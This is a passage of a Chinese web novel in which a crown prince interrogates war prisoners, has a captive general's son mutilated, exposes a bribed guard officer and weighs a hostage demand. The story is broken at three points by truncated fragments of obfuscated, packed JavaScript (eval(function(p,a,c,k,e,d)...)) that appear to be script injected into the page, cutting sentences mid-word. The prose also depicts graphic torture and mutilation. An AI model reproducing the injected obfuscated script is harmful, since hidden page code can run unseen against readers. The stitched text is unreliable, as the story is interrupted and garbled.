【……】他手指缓慢敲击膝盖,用一种外交语气道:“我会把白石城的百姓都交给你,并保证梁军上下不会威胁他们的安全。但如果他们伙同琼军残部进行任何有损大梁的行为,我不能保证他们的安危。同时,西琼战俘我不会给你。这支军队是屠杀大梁军民的凶犯,还有审判等着他们。至于段藏青。” 萧玠顿了顿,“阿寄,你如果不让我杀他,就要想一个两全之法。” “你不能守他一辈子,因为你是阿耶唯一的儿子。你也不能带他回南秦,你很清楚,如果我说的是真的,姑姑真的跟段氏姐弟有牵连的话,他会是南秦的大患。那你能怎么处置他呢?怎么才能让他毫无威胁,让我能够放他一马呢?或许,剪断他的手脚筋再拔掉舌头可以。” 秦寄以一种堪称惊异的眼神看向他,萧玠坦然对视,脸上干干净净没有多余情绪。 秦寄问:“你还是人吗?” 好消息是,萧玠眼睛因此闪动一下。他垂下眼睛,再抬起,声音平静:“你大概不知道,左威卫的中郎将死在去年的伐琼之战里,他的舌头被段映蓝拔下来送给我父亲,连带的还有他的眼珠和两根手指。他叫赵得胜,左威卫四品中郎将赵得胜,他的父亲在奉皇五年抗齐之战中壮烈殉国,和他一样,享年二十八岁。” 萧玠冷笑一声:“我是人么?阿寄,真正的恶鬼,你没见识过。” 秦寄没说话,萧玠便去系挣扎中松脱的衣带,一边耳垂肿得发麻。这情形太像情事之后,那种耻感又涌上来几乎把他淹没了。帐中静悄悄的,只有两人一长一短的呼吸,闷得人受不了。 萧玠整理好衣衫,准备出去透气。他看着秦寄弓背坐着的身影,狠一狠心,再下一剂猛药:“你那么想两全,但世间安得双全法。手心和手背,总要有取舍。” 说完,他就要打帐离开,突然听到秦寄在背后问:“那你呢萧玠,你取的是什么?只有你爹你家你的社稷不是吗?其他的一切,都是你能舍弃的不是吗?” 萧玠浑身一抖,转头,对上秦寄嘲讽的眼睛,“你还敢问我,你杀我娘我让你活到现在——你跟我说取舍?” “别看总拿刀的是我。你才是那个杀人的人。”秦寄说。 帐帘被萧玠捏皱了。 秦寄看见他这个动作——他又要逃了。就是现在。 秦寄掷出最后一把刀,把萧玠精准钉在地上。 他说:“我知道你今天是为了郑宁之。” “你每天都为他诵经,你的功德都会回向他。有福就有报,所以一些特殊日子的罪孽也是。你不会在今天杀人。” 秦寄残酷地笑起来:“今天是他的生日。” 他一瞬不瞬,看着萧玠脊背弯下去。他清楚郑绥是萧玠心里永远新鲜的伤疤,一快长好这人就会自己挖开。他恋痛。他永远痛苦、永远想念、永远流血、永远悔恨。秦寄想你也有不能触碰的逆鳞啊萧玠,而且不止一片。你的软肋比谁都多,你是怎么敢摆出这副无所畏惧的样子挑衅我的? 而萧玠倚靠在帐边,有出气少进气地呼吸。他的确鲜血淋漓了,却是秦寄未曾意料的另一面。 【……】 不然何至于沦落到今日地步? 萧玠颤抖着,感觉秦寄站起来,要走了。他打开落在自己身上的那半边帐帘时,突然问:“你还记得我娘死的那天,我要杀萧恒的样子吗?” “郑绥可能是你最后的良知。”秦寄说,“但如果哪天,你的良知被仇恨吞噬了,你要和我一样,大开杀戒么?” 萧玠无言已对,秦寄也没有等他的回答,毫不回顾、大步流星地离开了。但他最后的警告仍缭绕在萧玠耳侧。耳上停止流血的窟窿突然刺痛起来。 他说:“萧明长,不要把自己,变成一头禽兽。” *** 帐门一面瀑布一样彻底垂挂下来。 片刻后,萧玠再度走出来,叫过附近的侍卫,似乎吩咐些什么。不一会,赵荔城便匆匆赶来,在帐外叫道:“殿下?” 里面传来萧玠的声音:“赵帅请进。” 赵荔城进去,见萧玠耳垂,想起他扮新娘的事,道:“也不知道谁给殿下穿的耳朵,怎么肿得这么厉害?臣去给殿下找点药膏。” “伯父请坐,没那么娇贵。”萧玠道,“伯父是陛下的兄弟,私下无须讲究虚礼。” 一讲起萧恒,赵荔城难免有些心酸,“人家都当皇帝是什么好差事,历朝历代多少人杀得血流成河也要争来抢去。咱们将军做这个皇帝,吃了多少苦头。去年见面,见陛下才多大年纪,两鬓的头发都白了,我这心里……三大营的老兄弟也没了大半,幸亏南边还有个狄皓关。许仲纪这个王八羔子,他怎么对得起将军!” 萧玠握紧他的手,“我从前怨他,如今推己及人,也明白了。他心里有执,执的还是个斯人已逝。这是没法子的事。” 见赵荔城欲言又止,萧玠自己领过话头:“一会我去审问西琼兵俘,请伯父来,有要事托付。” 赵荔城立即道:“殿下但管吩咐。” “段藏青留不得。”萧玠平静道,“越快越好,免得夜长梦多。” 赵荔城反倒有些惊讶。他晓得萧玠心地仁善,本以为是个软性的孩子,没想到竟能硬下心肠。 “但要处斩段藏青时,殿下还是刀下留人了。”赵荔城突然想起刚刚听闻的一桩谈论,“是因为小郑的生日?” 萧玠摇头。 赵荔城了然,“是秦少公。” 萧玠哑然片刻,道:“伯父,你没有看见他望向我的眼神。我怕我立斩段藏青,他会立刻做出比寻死还要惨烈百倍的事情。” 他垂头,两手正微微颤抖,“我杀了他娘,我阻止他向陛下复仇,他却没有杀我,他救我。我怎么能当着他的面,再杀掉他的亲娘舅?” 赵荔城叹口气:“那殿下此时处置段藏青,不怕他有个万一?” 萧玠反而笑了笑:“阿寄是个急性子的孩子,但冷静下来,道理能听进去。我和他说了一番话,他应该明白,我为什么一定要段藏青的命。” “很多拿刀的人杀人,都是一时情急的。有时间喘口气,就会有顾虑,有牵挂,刀就提不动了。更何况……” 萧玠笑起来,颤抖地,更像一段哭声。 “我一直知道他的取舍是什么。” *** 野外的夜晚出奇安静,秦寄回帐时,灯台的蜡烛已燃到末尾。段元豹就趴在跟前看,像看一个小动物闪烁的眼珠。 秦寄看着她背影,从她身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这支梁军里很大部分是他几乎歼灭的营队的残部,对他恨之入骨,自然不会搞善待战俘那一套。段藏青被他们安置在牲口群里,和备用的战马、备食的牛羊一块,用掺铜丝的绳索拴在木桩上。夏夜溽热,蚊蝇嗡鸣,禽畜皮毛和粪便的味道形成热浪,人放在其中别说呼吸,只怕要闷晕过去。 段藏青闭目养神时,听见扑通两下,继而是冲自己响起的脚步声。 他睁开眼,看到两个梁兵扑倒在地,看样是被人打中后颈。秦寄向他走来,手里牵着他的女儿。 段藏青眼睛亮了,温柔道:“阿豹,来。” 段元豹顺从地走向他,像寻常一样从他身边坐下,缩在他胸膛前。但段藏青被捆缚的双手无法拥抱她。 秦寄在他面前蹲下,从胸前掏出一块热乎的糍粑,剥开喂给他。又拧开腰间酒囊,递到他嘴边。是甜美滚烫的马奶酒。 段藏青没多说什么,就着他的手大口吃喝起来。接受他的食物,似乎也是一种态度。 秦寄看着他,眼睛在黑暗里一闪一闪,许久,说:“我知道你害过我。” 段藏青牙齿一顿。 秦寄继续说:“但害我和杀我不一样,从小就有很多人想杀我。我知道你没有。舅舅。” 他的声音毫无起伏,在段藏青放缓的咀嚼声里,似乎在陈述另一个人的故事:“我知道你想控制我,也不是全心对我好,但你对我好。比娘还要好。这个恩情,我一辈子不会忘。” 段藏青坚硬的嘴唇线条抿动一下,却被打断了。秦寄向前递酒囊,问:“还喝吗?” 段藏青摇摇头,说:“好酒。是家里的味儿。” “我看阿娘酿过几次。”秦寄摇摇酒囊,一股涩香从囊口跑出来。他突然问:“我和你们之前的那个孩子,真的很像吗?” 段藏青不语,眼眶处泛起柔润的水光。 秦寄站起来,把剩下的酒仰头吃掉,用极轻微的声音哨了一下。是最本初的关系里,一个生命对另一个生命的呼唤。 应和之声远远响起。 一匹骏马脚步轻捷地向他跑来。 秦寄抚摸马鬃,将段元豹抱上马背后,他脚步一转,再次向段藏青走过来。 156.第 156 章 梁军采用以牙还牙的方式,像西琼对待大梁战俘一样,给他们加戴镣铐,再圈围牛羊般把他们围在一处。 审讯则在相隔不远的帐篷里进行,由士兵把人一个一个带进来。萧玠赶到帐篷前,正听到帐中撕心裂肺的嚎叫。 他打帐的手在半空一滞,还是把帐帘掀开。 负责审讯的是赵荔城的副将鲁成器。赵荔城奉旨吸收了一批西夔营干将入火炮营,鲁成器正在其中。他是老将鲁二的儿子,年纪虽轻,却早立战功,刑狱锻炼更有一手。闻声见萧玠来,他忙退至一侧,问:“殿下怎么来了?” 帐篷已经颜色污浊,新鲜的血液覆盖干涸的血块,招引蝇虫嗡鸣。一旁挂一盏油灯,灯下摆一张老虎凳,那人已经跌在凳下,浑身血肉模糊。 萧玠问:“他是什么身份?” 鲁成器道:“此贼名叫庞公林,是段藏青麾下的左骑将军,咱们多少兄弟惨死于他手中!中郎将赵将军,就是被此贼开膛破肚,还有西夔的孙校尉,叫他吊在城头活剥以恐吓我军。他还把孙校尉的肉分与人啖,煮了肉羹给陛下送来!说梁皇帝少年齿壮,犹能食人,未知今日能啖几何?一饭三遗矢否?” 萧玠脸上没有明显波动,问:“舌头还好?” 鲁成器道:“留待殿下审问。手爪子也没断,有要核对的文书字迹,一样使得。” 萧玠点点头,“泼醒他。” 鲁成器叫人抬来水桶泼去,庞公林惨叫一声,醒转过来。 他一只眼睛已经瞎了,看见萧玠,被痛苦扭曲的脸上犹见怒色,竭力要往前扑去,被鲁成器一手拧在地上。萧玠从他面前蹲下,道:“段藏青手里还有一支影子军队,如今行迹不明。你若告诉我,我能减轻你的苦楚。” 如果目光成箭,庞公林那只完好的眼睛已经将萧玠射得三刀六洞。他一口血唾吐在萧玠脸上,骂道:“姓萧的野种,也配问我!” 萧玠抬袖拭去,并无愠色,道:“庞将军鼎鼎大名如雷贯耳。玉升元年潮州围城,你便在段藏青麾下。奉皇十三年至十七年,西南边镇屡受匪寇侵扰,也是你乔装闯入城关,烧杀淫掠难以计数。奉皇二十二年,樾州城内趁火打劫的狼兵队伍,也有半数是你的直系。二十三年,也是你率先屠杀平民,□□妇女至百数,更别说虐杀多少大梁将士。恶贯满盈至此,庞将军这时候铁骨铮铮,要做好汉了。” 他直身站起,对鲁成器道:“在他嘴里撬不出什么,无须多费力气。我听说庞公林上阵父子兵。” 庞公林神色巨变,呜呜骂道:“你这个畜生!你要做什么!” 鲁成器会意,已经叫人提他的儿子庞玉树来。萧玠道:“我听闻红芝口一战,你们在前巧设圈套引陛下深入,陛下驻兵不出,你便奉段氏姐弟之命,派人终日对我诅咒谩骂,其言污浊歹毒难以入耳。更有甚者,四散我的春宫入梁军营地,要激陛下怒而出战。但从红芝口战报看,你们未能得逞吧。” 萧玠看向他,“庞将军,你知道用别人的儿子来杀他的父亲,怎么就不能容忍我动你的儿子?” 庞玉树已经被拖入帐中,一见其父惨状,当即痛哭不已。 萧玠冷眼看着,道:“鲁将军,砍下他一根手指。” 鲁成器手起刀落,一道惨叫后,有什么在鲜血里骨碌碌滚动。 庞公林喉中发出一阵痛喝,萧玠置若罔闻,“他怎么对待的我们的人,如法炮制吧。” 又是一声哀嚎。 萧玠浑身起一层栗。他以为愤怒和血仇能让他克制恻隐,但还是不能。这种根植于人性的哀悯把他钉在原地动弹不得。他当即想扇自己一个耳光——为什么要对禽兽恻隐?他们虐杀梁军屠戮平民□□妇女的时候,也会有这种浑身发毛的感觉吗?这样违背人性同类相残的行止,真的有人能以此为乐吗? 萧玠立在阴影里,面对这一惨剧,像个麻木的鬼魂。不知过了多久,庞公林终于哀叫一声:“我说!我说!别动我儿子,放开我儿子!我说!” 两行泪水从萧玠脸上流下。他平静掩去,重新走到灯下,看到瘫软在地如同烂肉的庞玉树的身体。 庞公林脸埋在儿子颈侧,许久,才从牙关挤出一句:“影子没有一个固定驻地。他们在西琼,只是一个本营。像从前你们王云楠手里、虞山铖手里的影子,就是分散出的一支。” 萧玠问:“这些影子队伍,都是出自段映蓝姐弟之手?” 庞公林沉默一会,道:“是合作。培植影子,需要改变根骨,就要用药。但很多药,中原弄不到。” 萧玠说:“罂粟。” 庞公林道:“是,你问我影子去哪。我也不清楚。他们的主人不是只有我们宗主一个。你如果想查,就查查阿芙蓉流通。这是个大交易,经常出动影子走动。” 萧玠问:“上次交易是什么时候?” 庞公林深喘口气:“小规模流通一直都有,大型的……就是奉皇十八年,运往南秦的那一遭。” 萧玠眼皮一跳。 他浑身每块肌肉都有冲上去拎起庞公林的冲动,但被萧玠强行控制住。 冷静。萧玠想,越是要紧关头越要理智。 奉皇十八年,南秦的确发生了一桩大事。 萧玠深吸口气,问:“这件事,和当年秦少公的废立风波有什么关系?” 庞公林独目里闪过一缕讶异,深吸口气:“放过我儿子。” 萧玠道:“要看你给出一个什么答案。” 庞公林道:“秦寄当年险些被废,因为他背弃光明宗,在众目睽睽下打碎光明神像。你们的关系,我多少知道。你血洗柳州背弃光明教,我原以为是他以此声援你,后来才回过味来……宗主和南秦交易的事,他可能看出了苗头。” 萧玠问:“你们和南秦的‘什么人’交易?” 庞公林摇头,“此人行踪隐秘,并不常往,每每来时,都是影子引入、由宗主亲自接见,我们没碰过面。” “但你见过他。”萧玠道,“那你该知道,‘他’是男是女。” “男人。”庞公林道,确切说,“是个少年人。” 萧玠颔首,“你们如何交易的?” 庞公林道:“梁太子应该知道南秦的换衣节。” 萧玠道:“每隔一旬,为神妆新。” “奉皇十八年就到了时候。当年三月,要为光明神铸造全新铜像。”庞公林道,“但梁秦断交后,南秦铜源紧缩,每年还要铸造大量厌胜钱币,本就捉襟见肘,压根拿不出这么多的精铜铸像。”庞公林清了清喉中血痰,“所以,秦公把这件事交给了秦温吉。而秦温吉找了路子,在外铸像。” 萧玠太阳穴砰地一响。 “你的意思是,秦温吉和段映蓝内外勾结,把阿芙蓉藏进铜像里流通进去。” “细节我不清楚……我当时只负责找阿芙蓉的门路。这批阿芙蓉……还是你们的底子货。当时西琼的罂粟尚未成熟,你又血洗柳州,虞山铖手里的黑膏亟待抛售,正好到了我们手中。但我能确定,这批货确实趁换衣节传进南秦。” 萧玠道:“所以这件事,秦寄也知道。” 庞公林咳嗽了一会,“我不清楚他知道多少……从秦公的反应看,这件事没有捅到他跟前,不然他早该大举清算了。秦寄如果知道真相,也没有隐瞒背锅的道理。所以我猜,他只知道有一群人往南秦运货,但不知道到底是由谁经手。” 萧玠道:“他不知道是西琼主使——那他怎么查到的这件事?” 庞公林断断续续道:“估计不是在南边,而是在北边。我倒阿芙蓉往柳州和长安都走过。他那段时间神出鬼没,往长安跑过好几趟,说不定真是碰巧……总之,他知道了部分计划,在节典的时候,在众目睽睽下砸毁了光明像。” 萧玠道:“可阿芙蓉没在铜像里。” 庞公林道:“在哪里我不知道。” 萧玠没有揪住这个问题不放。 今时今日,这已经不是最重要的问题了。 帐中一静,蝇虫哄闹声清晰如雷,血汗味热烘烘地挤满人体每个孔窍,压得几乎难以呼吸。鲁成器身上也黏了层汗,转头去看萧玠,发现萧玠的脸像新刮的泥灰一样苍白平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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萧玠脸部已经不受控制地颤抖起来。庞公林看在眼里,忍痛笑道:“看来你知道南秦的河祭是什么。把人割开手脚,扔到河心里放血。也就是把他交给你们所谓的光明神,由神来定夺他的生死。如果半个时辰后,他还能活着走出来,前罪往孽一笔勾销。据说几百年里,没有一个人能活着结束河祭。” 但秦寄做到了。 庞公林说:“他命大。宗主怕形势有变,让我以使者名义在金河边陪同。自始至终,秦公没有出现。没想到他为了平息众怒,拿自己唯一的儿子做弃子。都说虎毒不食子,你说这秦少公是投了个什么胎呢?” 萧玠一下子站起来。 鲁成器连忙搀扶他,却没有在他脸上看到想象中的剧烈波动。萧玠说:“继续审问,该撬的东西全部撬出来。留着他的命。我要用他新鲜的心肝来飨诸天英灵。” 他快步走出帐外,几乎走到月亮底下,浑身汗意被风一刮,居然透骨地冷。 秦寄是个敏锐的孩子,他可能探查不到全部真相,但一定能分辨亲人的态度。 他对段映蓝维护至此,说明段映蓝对他十分疼爱。而段映蓝真要杀他,他也不可能没有丁点察觉。 萧玠想不明白,世间怎会有这样的母亲,可以对你柔情蜜意,也能对你痛下杀手。连他都想不明白,置身其中的秦寄怎么想得明白?他要陷入怎样的挣扎漩涡,是自欺欺人还是自厌自恶?在那之后他被放逐远走,段映蓝又不是归属,他的父母来处都不要他,他能到哪里去?谁还能当他的归处? 浑浑噩噩间,萧玠抬头,看到不远处秦寄的帐篷,和自己的比邻而立。【……】 如雷击顶。 原来他的出现,就是一种求救。 有一股胜过长生的痛意从心脏往外一口一口啃噬萧玠。他赶紧扶住膝盖不至于跌倒,缓缓歪坐草地上。月光凝眸向他,像樾州群狼包围的夜晚,少年冷静热烈的眼睛。 【……】 萧玠蜷缩起来,几乎无法动弹。好一会,被痛觉淹没的视觉听觉才渐渐恢复。他看到赵荔城半跪面前,在火把下环抱摇晃他,脸上神情除担忧外,还有出乎意料的严峻。 一种不祥之感攀紧萧玠心头。他问:“怎么了? “段藏青跑了。”赵荔城道,“段元豹和秦少公也不见踪迹。臣已派人追捕,请殿下召集东宫卫及火炮营全部军官,共商此事。” 157.第 157 章 骑队追击的马蹄声往远方跑去时,数名军官围聚萧玠帐篷。两个负责看守的士兵也跟进来,一见他,立即抱拳跪倒,叩首道:“卑职罪该万死!” “都起来。”萧玠无意追究,“段藏青是谁放走的?” 两名士兵面有难色,道:“是……是秦少公把我们打晕了。” 赵荔城递过一物:“放马处找到一只酒囊。” 萧玠接过一看,的确是秦寄的东西。 郑缚急道:“我说什么?南蛮竖子多端诡计,只怕他阻拦行刑,就是盘算着今夜这一劫呢!殿下待他再亲厚,在人家心里只是一个外人,段藏青既是他的娘舅又是他的丈人,他能舍得让老婆从此无父无母吗?” 萧玠仍未做声,脸色却已煞白。赵荔城见此忙道:“殿下莫急,老臣看此事尚未定论。” 军官们大多家在西南,常年经受西琼侵扰,对其不可谓不痛恨,也叫起来:“人证物证俱在,难道还有人专门栽赃?” “这只能证明秦少公来过,有过袭击动作,但不能说明段藏青就是他放走的。”赵荔城道,“臣派人清点马匹,发现少了两匹马。分别派人沿蹄印追踪,发现两马一西一南,方向完全不同。” “说不定是作疑兵之用。又说不定各自奔路,再去哪里汇合碰头。三个人一块跑,一个落网全落网。段藏青没那么蠢。” “不止。”赵荔城道,“臣亲自去放马处看了一圈,除失踪三人外,还发现了第四个人的脚印。臣已经派人拓印下来了。” 他从怀里取出一张纸页抖开:“前翘后方,花纹平实,是东宫卫军官所穿的六合靴。右脚有轻微拖曳痕迹,他的右腿有伤病。靴底八寸,个头将近五尺,身材中等。” 此话一出,众人神色各异,大抵是惊异愤怒之色。 赵荔城环视帐中诸人,最后落在几位东宫将领身上,指了指其中一个,“这位将军,你先脱靴吧。” 被指的是东宫前卫率刘永元,一个不到三十岁的青年人。他闻言一愣,赵荔城笑问:“怎么,靴子卡脚?来两个人,帮这位将军松松鞋。” 火炮营两名统帅当即上前,按住刘永元为其脱靴。赵荔城比对过靴印后,问:“这位将军右腿受过伤吧?” 东宫后卫率也在侧,答道:“是,刘卫率骑马跌过,伤过右脚。” 赵荔城点头,“那就是了。放马处的右脚印有轻微拖曳痕迹,是他无疑。刘卫率,三更半夜,你不好好睡觉,到段贼处干什么去了?” 刘永元道:“卑职见秦少公行为鬼祟,跟踪前去。” 这时,默然许久的萧玠突然开口:“你看到了什么?” 刘永元道:“秦少公打晕两名看守,放了段贼,两人相约各奔两路,避过风头再碰面。” 萧玠问:“他们约定在何处碰面?” “那时候马叫起来,卑职没有听清。” 赵荔城在一旁笑起来:“这马叫得蛮是时候,让你把其他计策听得一清二楚,偏偏没听清关键之处。” 萧玠已经恢复平静,走上前去,手按在刘永元肩上,“秦少公是打晕看守后,直接放走段贼吗?” 刘永元忙道:“不是,他先喂段贼吃喝,再放其上马。走得匆忙,把酒囊落下了。” 赵荔城半个身子挡在萧玠前面,呵呵笑道:“这么看来,南秦少公也是个奇人。留下这么大个物证,生怕殿下不追究他。” 刘永元道:“此子素来得殿下青眼,宫闱都闹过,想来恃宠而骄,不把这事放在眼里。” “原来是本宫之过。”萧玠道,“按你所说,秦寄来救段藏青,不急着放人,先要段藏青吃饱喝足再上马。性命攸关之际,他却想先饱段藏青的口腹,你觉得讲不讲得通?” 刘永元脸色很不好看,支吾之际萧玠声音响起:“我再问你最后一遍,你是眼看秦寄放走段藏青吗?” 刘永元咬牙道:“是。” “很好。”萧玠道,“既如此,你为什么没有阻拦,又为什么不在第一时间禀报?” 刘永元呼吸一粗,身形猝然要动,却被警惕许久的赵荔城一把拧住。萧玠探出一只手,仔细摸过他的颧骨,摇头道:“不是面具。” 赵荔城道:“烧热炭来!” 又上来两名统领,将他四只手脚全部压实。赵荔城看向萧玠,“殿下,这不仅仅是里通外国之事了。西琼人三番四次把手爪伸到殿下身边,社稷大险!” 刘永元放声笑起来:“若非秦少公日夜守在你身边,东宫任职一年,我岂能没有得手之时?我还真不明白,对你这样杀母灭族的仇敌,他为什么处处回护?” 炭盆已经烧好,在酷暑时分热烟蒸腾。萧玠走上前,问:“你是什么时候把刘永元替换的?” “何须替换。”刘永元盯着他,“我有钱。” 萧玠眉心一抖,“你什么意思。” “我有钱,我有钱!哈哈!有钱能使鬼推磨,太子身边的前付率,一口蓝田玉的棺材就能买到!”刘永元狞笑起来,“梁太子,这就是你任人唯亲的下场!” 萧玠一下子僵住了。一瞬间,他听不到刘永元被热炭烙烫的惨叫和众人呼唤,他甩开赵荔城欲搀扶的手,转头看向郑缚,“去年东宫卫的选拔,我交给的你。” 郑缚扑通跪下,慌忙爬过来抱紧他的大腿,“殿下,殿下我知道错了!我……我只卖过这一次,我是看中了那口棺材,据说睡玉棺能登仙得道,我……我想大哥在那边过得好呀!” 萧玠不知哪里来的力气,一把将他从地上提起来,“你给你大哥用的?你大哥用的那口棺材?” 他神情太过骇人,吓得郑缚忘记哭泣,“我……” “混账……混账东西……”萧玠都没有打他的力气,他丢开郑缚,扶着桌子喘气,“你父亲治军雷厉说一不二,你大哥军纪严明秋毫勿犯,你给我卖官!郑宁之这辈子最恨贪官,你让他睡你卖官换来的棺材!” 赵荔城何曾见过萧玠如此失态,忙叫人拖下刘永元,扶萧玠坐下。 萧玠泪落涟涟:“怪我,是我自食恶果。我不该把你放在身边,我不该为了你大哥……给你加恩让你领他从前的职官。他为国捐躯丹心碧血,你把他的生前身后全葬送了……郑家祖祖辈辈的忠骨英名,让你全葬送了……你让我得下令去刨你大哥的坟了……” 萧玠以手指他,“即日起,革除郑缚全部官职,一切刑罚,等三司审议后再行处置。赵帅,把他押解下去。” 赵荔城领旨,递帕子给萧玠。萧玠没瞧见,抬掌把脸擦了一遍,声音已经沉静下来:“从郑缚那里拿一个名单,以此盘查东宫卫的漏网之鱼。买卖官职之事回京再论,当务之急是追缉段藏青。” 赵荔城问:“秦少公呢? “他不会回来了。”有关秦寄,萧玠只短短说这一句,立即把话题转回段藏青身上,“段藏青孤身一人,一定会和西琼残部汇合。火炮营是重兵行速太慢,还是回城驻守。其他队伍,分四方追击,尤其注意山路,越险处越不能放过。另派轻骑持我手令到附近州府,让他们通缉戒严,进入战时状态。非常时刻,封山封林,务必保证百姓安全!” *** 段藏青的出逃事件像一块投石,掉在大梁西南军营里,惊起对皇太子的些许非议之声。雨天在山林穿梭的梁兵忍不住抱怨,如果不是因为偏袒秦寄,段藏青早该成刀下亡魂了。 雨季把西处奔逃的琼兵踪迹冲刷干净,数日无获。直至五日后,一匹快马直奔军营,马背上摔下一个伤痕累累的士兵。 他一被人搀扶起,立刻竭力叫道:“紫螺城丢了!段藏青攻占紫螺城……紫螺城丢了……” 桐州紫螺城失守扭转了攻守之局,这也成为后世对萧玠储君阶段的最大诟病,但此时此刻的活人是没有心思放在后世评说上。这名伤兵并非靠一己之力逃脱,而是段藏青用来给萧玠传送檄文的。 除赵荔城赶去点兵排布外,其余将领皆齐聚帐内。众目睽睽下,萧玠拆看檄文,冷静宣布:“段藏青书中说明,若想紫螺城百姓无虞,要我一个人赴邀谈判。明日午时不至,先杀千人。” 听闻这番说法,帐中骂声四起,冷静下来,众人也也很有疑虑:“紫螺城依山而建,城内排布并不简单。琼兵又都是散兵游勇,如何在五日之内全面攻占?” “有如此之速,西琼应当已经筹备了一段时间。紫螺城背山面水,又将猿台关隔在白鹭壑外,很可能是他们早就选好的攻克点。”萧玠深吸口气,“据城反攻大抵是早有盘算。能这么顺利……我猜测西琼的影子队伍并没有彻底歼灭,还有一部分留在段藏青手里。” “陛下清剿西琼都城时,找到了他们锻炼影子的营地,但没有发现一个影子。我猜段氏姐弟爱女心切,把这些精锐全用来护送段元豹了。后来段映蓝被俘,段藏青曾经动用影子欲图劫法场救人。之后便未见其行踪,至段元豹婚礼竟然也没有出现。很可能那时候段藏青已经派影子出去,潜伏城池之中,欲挟城割据,让我们有所交换。” 鲁成器斟酌道:“殿下的意思是……段元豹的大婚,是他吸引注意的挡箭牌?” 萧玠想了想,摇首,“他很珍爱这个女儿。他很可能以为,段元豹的婚礼已经万无一失了。” 他现在有点明白,段藏青为什么急于给段元豹举办婚礼,又为什么甘冒大不韪,让女儿嫁给异父兄弟。 他要保证段元豹的绝对安全。段元豹有了归属,他便能心无旁骛地为段映蓝复仇。 只是他没料到,萧玠居然能直抵白石城劫走段元豹。像萧玠没料到居然是东宫卫放走段藏青一样。 百密一疏。 将近终局的棋盘一扫而空,双方重新落子。 帐内七嘴八舌起来: “妈的,难道还真叫这群孙子拿捏住了?” “要么我们派几个身手了得的乔装改换,先潜进城中探一探虚实。” “咱们想得到,段藏青想不到?只怕早聚齐人手,等咱们喝一壶呢!” “强攻不能,进城也无门……且他们有人质在手,咱们手中没有筹码,要取胜,只怕困难。” “谁说咱们手里没有筹码?一个火炮营将领道,白石城的俘虏还在咱们手里!城中居民将近万数,殿下,咱们也有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他说萧重光,你要李渡白眼看自己带出一支禽兽的队伍吗?” 赵荔城深吸口气:“殿下,今天老臣僭越,也要问一问你。有道是军纪如山、军令似铁,你要陛下和文正公数十年锻炼出来军中山铁,毁于你一人之手吗?” 萧玠身体剧烈一颤。 火炮营将领忍不住叫道:“赵帅!咱们到手的筹码,就这么扔了,不用了?咱们凭什么跟一群畜生讲规矩?他们不仁,我们不义!” “因为殿下要做明君!”赵荔城深吸一口气,“做圣君明君的路,一定比昏君暴君艰难。以牙还牙以眼还眼,是指两军交战,不是指对付百姓!西琼治下也是大梁的子民,我们可以因为他们反抗朝廷进行镇压,但绝不能在他们尚未举动之时就进行屠杀!我问问各位,如果连储君都罔顾国法,那是什么样的社稷,什么样的朝廷?这样的朝廷,你们敢跟吗?” 赵荔城看向萧玠,“不知殿下是否听说过,陛下做这个皇帝,到底为什么打算?” 他在指废皇帝制。 萧玠道:“是。” 赵荔城问:“殿下如何看待?” 萧玠道:“当箕裘相继之。” 赵荔城向他拜倒,涕泪俱下:“殿下,兴亡百姓苦啊。到底如何决断,就看殿下此后的志向,是要不君,还是废君了。” 萧玠搀扶他起身,对他长揖及地,“赵帅金玉良言,我感激不尽。我在此立誓,我麾下的三军将士,依旧是镇西将军的三大营。” 众将士也不免心酸唏嘘,“那紫螺城营救……难道真要殿下亲自去换?” 赵荔城深吸口气,道:先“看舆图。紫螺城来的年轻人醒了吗?” 伤兵由人抬进帐中,正要见礼,萧玠伸手阻拦,“躺着就是。你在城中是什么职务?” 伤兵便不动弹,从神情可以看出,他犹在忍痛,“卑职校尉袁自行。” 萧玠问:“紫螺城被攻陷是什么情形?” 袁自行眯眼回忆,“一个傍晚,该吃晚饭的时候,我们换值回营房……先是市集乱了,我和负责徼巡的兄弟赶过去,一群乔装的西琼兵已经杀开来。我赶紧回营房喊人……人空了,都去南边支援,有西琼策应开了城门……” 萧玠听出不对,“有西琼军队从外进的?” “是,在东门,东南方向。” “人有多少?” “卑职算不清,无论如何也有千数!” 这说明,西琼并不是将全部人手安插城中,而是在紫螺城附近另有屯兵地点。 赵荔城拿过舆图察看,“南部是大壑,绝不会屯兵。唯一的可能就是他们驻扎在北部城镇。” 有将领不赞同:“千数之军规模不小,若攻打城镇,消息早该传到咱们耳朵里了。再说,他们若早有驻地,直接拿里面的百姓做要挟就是,何必费这么大功夫,拐个弯再攻紫螺城?” “除非,他们占据的是一个荒城。”赵荔城说,“紫螺城南部正好有这样一个地方。” 他看了萧玠一眼,指向一个没有圈标的地点。 玉龙岩。 158.第 158 章 这一刻,萧玠心脏似被重拳锤击。 鲁成器问:“玉龙岩?这不是秦公当年的汤沐邑?” 另一个咋舌道:“可别提了,陛下当年何其爱重秦公,玉龙岩算得上繁盛一时。秦公一走,就这么荒废下来。桐州的历任刺史怕犯忌讳,也不让人居住。等盐采了个差不多,基本就是个灰渣囤积地,寻常少有人在。” 赵荔城虽性格鲁直,但奉皇六七年进京一趟,见过萧恒秦灼如何行止,心下也全然明白。他制止道:“就事论事。”忙转头看萧玠。 与他所料不同,萧玠空白的脸上,居然涌现惊喜的内容。 他手指在那座城池标志处捏成拳头,长出一口气:“天不绝人!” 赵荔城纳闷了,“殿下是想攻打玉龙岩?” 可一旦行动,紫螺城的百姓难保无虞。萧玠显然不是这个意思。 萧玠摇摇头,笑了:“段藏青以百姓为挟,要的是我。他们正面碰不过火炮营,所以想了这个法子,让我心甘情愿为其所获。他们向北张罗,但如果我向南投网呢?” *** 